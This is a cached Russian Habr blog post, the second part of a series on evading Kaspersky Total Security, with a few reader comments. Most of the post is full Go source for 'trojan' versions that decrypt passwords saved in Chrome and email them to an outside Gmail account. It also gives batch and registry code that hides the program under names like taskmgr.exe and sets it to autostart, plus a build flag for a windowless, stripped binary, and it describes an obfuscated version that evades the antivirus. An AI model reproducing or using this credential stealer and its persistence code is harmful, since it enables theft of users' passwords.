Вы находитесь на странице: 1из 1

Это версия страницы https://habrahabr.ru/post/349346/ из кеша Google.

Она представляет собой снимок страницы по состоянию на 19 фев 2018 08:06:00 GMT.
Текущая страница за прошедшее время могла измениться. Подробнее

Полная версия Текстовая версия Просмотреть исходный код Совет. Чтобы искать на странице, нажмите Ctrl+F или ⌘-F (для MacOS) и введите запрос в поле поиска.

TM Feed Хабрахабр Geektimes Тостер Мой круг Фрилансим Мегапосты: Azure Атлас Canon PIXMA G3400 Хабрабургер

Публикации Пользователи Хабы Компании Песочница Войти Регистрация

fragmentation-drum 17 февраля в 22:15

Обход антивируса Kaspersky Total Security. Часть 2


Разработка под Windows, Антивирусная защита, Go AdBlock похитил этот баннер,
но баннеры не зубы — отрастут

Здравствуйте ещё раз. Под моим первым постом «Обход антивируса Kaspersky Total Security»
Подробнее
пользователи негодовали. Кто-то писал что это вообще не обход антивируса, а полный бред, кто-то
поддержал идею. От части я своё задание выполнил, но если вам этого мало то сегодня я попробую
целиком раскрыть весь потенциал.

Реклама
Тестирование

Статью я не планирую делать большой по объему, чисто показать более модифицированную версию
трояна и сравнить несколько версий.

На данный момент у меня установлен Kaspersky Total Security 18.0.0.405(f)


Включены все пункты защиты кроме Anti-Banner, Anti-Spam.

У меня есть 3 версии трояна: 1.0.0 (vnetwork), 1.1.0 (systemc), 1.2.0 (reaper) (Сам придумал).
Первая версия 1.0.0 (vnetwork):

Исходный код первой версии

package main;

import (
"unsafe"
"os"
"log"
//"io/ioutil"
"fmt"
"io"
"syscall"
"database/sql"
_ "github.com/mattn/go-sqlite3"
"github.com/scorredoira/email"
"net/mail"
"net/smtp"
//"path/filepath"
)

var (
dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll")
dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")

procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
procLocalFree = dllkernel32.NewProc("LocalFree")

dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrom


e\\User Data\\Default\\Login Data"
)

var URL string


var USERNAME string
var PASSWORD string
var pass string
type DATA_BLOB struct {
cbData uint32
pbData *byte
}

func NewBlob(d []byte) *DATA_BLOB {


if len(d) == 0 {
return &DATA_BLOB{}
}
return &DATA_BLOB{
pbData: &d[0],
cbData: uint32(len(d)),
}
}

func (b *DATA_BLOB) ToByteArray() []byte {


d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}

func Decrypt(data []byte) ([]byte, error) {


var outblob DATA_BLOB
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0,
0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}

func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {


sourceFile, err := os.Open(pathSourceFile)
if err != nil {
return err
}
defer sourceFile.Close()

destFile, err := os.Create(pathDestFile)


if err != nil {
return err
}
defer destFile.Close()

_, err = io.Copy(destFile, sourceFile)


if err != nil {
return err
}

err = destFile.Sync()
if err != nil {
return err
}

sourceFileInfo, err := sourceFile.Stat()


if err != nil {
return err
}

destFileInfo, err := destFile.Stat()


if err != nil {
return err
}

if sourceFileInfo.Size() == destFileInfo.Size() {
} else {
return err
}
return nil
}

func checkFileExist(filePath string) bool {


if _, err := os.Stat(filePath); os.IsNotExist(err) {
return false
} else {
return true
}
}

func Grabber() {
//Check for Login Data file
if !checkFileExist(dataPath) {
os.Exit(0)
}

//Copy Login Data file to temp location


err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}

//Open Database
db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
defer db.Close()

//Select Rows to get data from


rows, err := db.Query("select origin_url, username_value, password_value from
logins")
if err != nil {
log.Fatal(err)
}
defer rows.Close()

for rows.Next() {

err = rows.Scan(&URL, &USERNAME, &PASSWORD)


if err != nil {
log.Fatal(err)
}
//Decrypt Passwords
pass, err := Decrypt([]byte(PASSWORD))
if err != nil {
log.Fatal(err)
}
//Check if no value, if none skip
if URL != "" && URL != "" && string(pass) != "" {
fmt.Println(URL, USERNAME, string(pass))

var sx string;

sx = (URL + " " + USERNAME + " " + string(pass))

m := email.NewMessage("[Grabber]: Decrypt;", sx)

m.From = mail.Address{Name: "From", Address: "examplefrom@gma


il.com"}
m.To = []string{"exampleto@gmail.com"}

auth := smtp.PlainAuth("", "examplefrom@gmail.com", "Qwerty12


3", "smtp.gmail.com")
if err := email.Send("smtp.gmail.com:587", auth, m); err != n
il {
log.Fatal(err)
}
}
}

err = rows.Err()
if err != nil {
log.Fatal(err)
}

func main() {
mask := []byte{33, 15, 199}
maskedStr := []byte{73, 106, 190}
res := make([]byte, 3)
for i, m := range mask {
res[i] = m ^ maskedStr[i]
}

Grabber();

moveSX := []byte{255, 255, 255, 255, 0, 0, 0, 10}


moveSXSub := []byte{1, 1, 1, 1, 22, 11, 22, 11}
result := make([]byte, 512)
for i, m := range moveSX {
result[i] = m ^ moveSXSub[i] * m * 22;
}
}

@echo off
if exist %appdata%\Microsoft\VirtualNetwork\ rmdir /S /Q %appdata%\Microsoft\VirtualNet
work
if not exist %appdata%\Microsoft\VirtualNetwork\ mkdir %appdata%\Microsoft\VirtualNetwo
rk
xcopy /Y test.exe "%appdata%\Microsoft\System\taskmgr.exe"
ЧИТАЮТ СЕЙЧАС

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Virtual Manager" /t RE


G_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe" Куда уходят деньги: отчет Cisco о
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "Virtual Manager" / тратах на ИТ-инфраструктуру
t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe" 4,8k 0
test.exe
exit
Обход антивируса Kaspersky Total
Security. Часть 2
2,9k 7
Вторая версия трояна 1.10 (systemc):

«Календарь тестировщика». Разбери


Исходный код второй версии
бэклог
657 0
package main;
Team Leader. Быть или не быть, вот
import ( в чем вопрос
"golang.org/x/sys/windows/registry"
8,2k 19
"fmt"
"os"
Как устроена Алиса. Лекция Яндекса
"path/filepath"
"io" 11,1k 20
"log"
"database/sql" Дайджест свежих материалов из
_ "github.com/mattn/go-sqlite3" мира фронтенда за последнюю
"github.com/scorredoira/email" неделю №302 (12 — 18 февраля
"net/mail" 2018)
"net/smtp" 3,1k 1
"unsafe"
"syscall"
)

var (
dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll")
dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")

procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
procLocalFree = dllkernel32.NewProc("LocalFree")

dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\U


ser Data\\Default\\Login Data"
)

var URL string


var USERNAME string
var PASSWORD string
var pass string
type DATA_BLOB struct {
cbData uint32
pbData *byte
}

func NewBlob(d []byte) *DATA_BLOB {


if len(d) == 0 {
return &DATA_BLOB{}
}
return &DATA_BLOB{
pbData: &d[0],
cbData: uint32(len(d)),
}
}

func (b *DATA_BLOB) ToByteArray() []byte {


d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}

func Decrypt(data []byte) ([]byte, error) {


var outblob DATA_BLOB
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0
, 0, 0, uintptr(unsafe.Pointer(&outblob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}

func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {


sourceFile, err := os.Open(pathSourceFile)
if err != nil {
return err
}
defer sourceFile.Close()

destFile, err := os.Create(pathDestFile)


if err != nil {
return err
}
defer destFile.Close()

_, err = io.Copy(destFile, sourceFile)


if err != nil {
return err
}

err = destFile.Sync()
if err != nil {
return err
}

sourceFileInfo, err := sourceFile.Stat()


if err != nil {
return err
}

destFileInfo, err := destFile.Stat()


if err != nil {
return err
}

if sourceFileInfo.Size() == destFileInfo.Size() {
} else {
return err
}
return nil
}

func checkFileExist(filePath string) bool {


if _, err := os.Stat(filePath); os.IsNotExist(err) {
return false
} else {
return true
}
}

func Recover() {
//Check for Login Data file
if !checkFileExist(dataPath) {
os.Exit(0)
}

//Copy Login Data file to temp location


err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}

//Open Database
db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
defer db.Close()

//Select Rows to get data from


rows, err := db.Query("select origin_url, username_value, password_value from log
ins")
if err != nil {
log.Fatal(err)
}
defer rows.Close()

for rows.Next() {

err = rows.Scan(&URL, &USERNAME, &PASSWORD)


if err != nil {
log.Fatal(err)
}
//Decrypt Passwords
pass, err := Decrypt([]byte(PASSWORD))
if err != nil {
log.Fatal(err)
}
//Check if no value, if none skip
if URL != "" && URL != "" && string(pass) != "" {

mask := []byte{95, 53, 122}


maskedStr := []byte{144, 123, 111}
res := make([]byte, 15)
for i, m := range mask {
res[i] = m ^ maskedStr[i]
}

fmt.Println(URL, USERNAME, string(pass))

var xurl string;

xurl = (URL + " " + USERNAME + " " + string(pass))


/*util := ioutil.WriteFile("C:/password/pass.txt", []byte(x), 0644)
fmt.Println(util)*/

m := email.NewMessage("[Trojan Grabber]: Password Decryptor;", xurl)

m.From = mail.Address{Name: "From", Address: "examplefrom@gmail.com"}


m.To = []string{"exampleto@gmail.com"}

auth := smtp.PlainAuth("", "examplefrom@gmail.com", "Qwerty123", "smtp.gm


ail.com")
if err := email.Send("smtp.gmail.com:587", auth, m); err != nil {
log.Fatal(err)
}
}
}

err = rows.Err()
if err != nil {
log.Fatal(err)
}

func GetRegistryKey(typeReg registry.Key, regPath string, access uint32) (key registr


y.Key, err error) {
currentKey, err := registry.OpenKey(typeReg, regPath, access)
if err != nil {
fmt.Println("[FATAL]: Get registry-key is impossible!")
}
return currentKey, err;
}

func GetRegistryKeyValue(typeReg registry.Key, regPath, nameKey string) (keyValue str


ing, err error) {
var value string = ""

key, err := GetRegistryKey(typeReg, regPath, registry.READ)


if err != nil {
fmt.Println("[FATAL]: Get registry-key is impossible!")
}
defer key.Close()

value, _, err = key.GetStringValue(nameKey)


if err != nil {
fmt.Println("[FATAL]: Get string key-value is impossible!")
}
return value, nil;
}

func CheckSetValueRegistryKey(typeReg registry.Key, regPath, nameValue string) bool {


currentKey, err := GetRegistryKey(typeReg, regPath, registry.READ)
if err != nil {
fmt.Println("[INFO]: Get registry-key is impossible!")
}
defer currentKey.Close()

_, _, err = currentKey.GetStringValue(nameValue)
if err != nil {
fmt.Println("[INFO]: Check registry-key is impossible!")
}
return true;
}

func WriteRegistryKey(typeReg registry.Key, regPath, nameProgram, pathToExecFile stri


ng) error {
updateKey, err := GetRegistryKey(typeReg, regPath, registry.WRITE)
if err != nil {
fmt.Println("[INFO]: Get registry-key is impossible!")
}
defer updateKey.Close()
return updateKey.SetStringValue(nameProgram, pathToExecFile);
}

func DeleteRegistryKey(typeReg registry.Key, regPath, nameProgram string) error {


deleteKey, err := GetRegistryKey(typeReg, regPath, registry.WRITE)
if err != nil {
fmt.Println("[INFO]: Get registry-key is impossible!")
}
defer deleteKey.Close()
return deleteKey.DeleteValue(nameProgram);
}

func main() {

var (
controllerDir string = os.Getenv("APPDATA")+"\\"+"\\Microsoft\\SystemControll
er"
)

if _, err := os.Stat(controllerDir); os.IsNotExist(err) {


err = os.MkdirAll(controllerDir, 0755)
if err != nil {
log.Fatal(err)
}
}

currPath, err := filepath.Abs(os.Args[0])


if err != nil {
fmt.Println("#CANT FIND CURRENT PROCC>")
}

from, err := os.Open(string(currPath))


if err != nil {
log.Fatal(err)
}
defer from.Close()

to, err := os.OpenFile(controllerDir+"\\scontroller.exe", os.O_RDWR|os.O_CREATE,


0666)
if err != nil {
log.Fatal(err)
}
defer to.Close()

_, err = io.Copy(to, from)


if err != nil {
log.Fatal(err)
}

WriteRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\Run`,
"System Controller",
controllerDir+"\\scontroller.exe",
)
CheckSetValueRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\Run`,
controllerDir+"\\scontroller.exe",
)
WriteRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\RunOnce`,
"System Controller",
controllerDir+"\\scontroller.exe",
)
CheckSetValueRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\RunOnce`,
"System Controller",
)

Данная версия использует исключительно встроенные модули: IO, OS для копирования, перемещения
и вообщем для работы с файлами и директориями. Троян успевает создать директорию, скопировать
файлы и добавить себя в автозагрузку, после этого всего Kaspersky Total Security замечает активность и
удаляет троян, но не удаляет скопированную копию трояна которая расположена в
%appdata%/Microsoft/SystemController, хотя с последующей автозагрузкой Kaspersky Total Security все
ровно его прибьет.

Третья версия трояна 1.2.0 (reaper):

Исходный код третьей версии

Компилируем:

go build -ldflags "-w -s" -ldflags -H=windowsgui

Данная версия трояна имеет обфусцированный код и использует исключительно системные вызовы.
Троян успешно создает директорию, перемещает файлы и добавляет себя в автозагрузку. Kaspersky
Total Security воспринимает его как объект не несущий угроз, так как он работает с WINAPI и
компонентами ОС подписанными ЭП, с последующей автозагрузкой Kaspersky Total Security не будет
обращать внимания, будет воспринимать троян как компонент ОС. Хотя рано или поздно троян все
равно попадет в сигнатуры.

Как по мне самый эффективный способ это будет использовать SmartScreen для предотвращения
вторжения. Если нету электронной подписи на файл — иди гуляй.

Результат на VirusTotal:

AdBlock похитил этот баннер,


но баннеры не зубы — отрастут

Подробнее

Метки: Golang, Kaspersky Total Security, Обход Антивируса


Реклама

+5 21 2,9k 7

8,0 8,0 3
Карма Рейтинг Подписчики

@fragmentation-drum
Никто

Поделиться публикацией

ПОХОЖИЕ ПУБЛИКАЦИИ

2 июня 2011 в 16:11

Kaspersky Mobile Security, или почему телефон проще найти в снегу


+22 31,3k 15 54

13 мая 2010 в 17:06

Об обходе антивирусов на практике


+139 10,3k 67 127

16 марта 2007 в 23:06

Антивирус Касперского 7.0


+3 669 0 4

ЗАКАЗЫ ДЛЯ ФРИЛАНСЕРОВ

Верстка под react, сложно и бюджет под это есть Цена договорная

19.02.2018 • 0 откликов

Верстка и натяжка на WP 45000 руб./за проект

19.02.2018 • 6 откликов

Разработка платформы для транспорта высокочастотных сигналов SMPTE 2000000 руб./за проект

19.02.2018 • 1 отклик

Все заказы Зарегистрироваться Разместить заказ

AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее

Реклама

Комментарии 7 ЧТО ОБСУЖДАЮТ

saboteur_kiev 18.02.18 в 00:09 0 Сейчас Вчера Неделя

Полезная вещь — спойлеры…

Watcover3396 18.02.18 в 00:31 0

Может-быть стоит спрятать исходники под спойлеры?


Уж больно длинная статья получается.

AngelNet 18.02.18 в 12:33 0

а вы не тестировали свой продукт на ESS (есет смарт секьюрити?)


спасибо.

fragmentation-drum 18.02.18 в 12:33 0

Нет.

ildarz 18.02.18 в 12:36 +1

В чем смысл всего этого? Любой вменяемый сисадмин знает, как сделать с машиной более-менее что
угодно, и ни один антивирус на это не ругнется.

fragmentation-drum 18.02.18 в 15:49 0

Мы сейчас не о сисадминах говорим. Вы думаете что каждый пользователь ОС Windows заботиться о


своей безопасности и конфиденциальности данных? Таких пользователей свыше 90%. Я хотел доказать
что никакой антивирус им не поможет. А вы мне тут про сисадминов рассказываете.
Горе от ума, или Почему отличники
пишут непонятный код
ildarz 19.02.18 в 10:48 0
27,9k 164
Я о том, что вы с непонятно какой целью "хотели доказать" абсолютно общеизвестные вещи, которые в
доказательствах не нуждаются вообще. Сделать что угодно с пользовательскими данными можно В защиту swap'а [в Linux]:
миллионом способов, на которые антивирус не обратит никакого внимания. Это попросту распространенные заблуждения
общеизвестный факт, проистекающий из того, что легитимный софт по своей сути отличается от
29k 127
вредоносного только одним — согласием пользователя на свою работу.

Как избежать проблем с


производительностью при создании
React-приложений
Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.
6,3k 14

Кто убил джуниора?


27,7k 380

Каждую пятницу я в… Пик Балмера


— есть ли за ним правда?
17,8k 35
ИНТЕРЕСНЫЕ ПУБЛИКАЦИИ

«Календарь тестировщика». Разбери бэклог AdBlock похитил этот баннер,


+6 636 6 0 но баннеры не зубы — отрастут

Подробнее
Как смартфон может подслушать, подсмотреть и отследить GT

+9 2,8k 14 1

Дайджест интересных материалов для мобильного разработчика #241 (12 февраля—18


Реклама
февраля)
+8 833 7 2

Еще больше сверхлегких ракет-носителей GT

+18 3,1k 4 11

Rust: Знакомимся с языком на примере «Угадай-ки»


+9 1,3k 8 1

Аккаунт Разделы Информация Услуги Приложения

Войти Публикации О сайте Реклама

Регистрация Хабы Правила Тарифы

Компании Помощь Контент

Пользователи Соглашение Семинары

Песочница Конфиденциальность

© 2006 – 2018 «TM» Служба поддержки Мобильная версия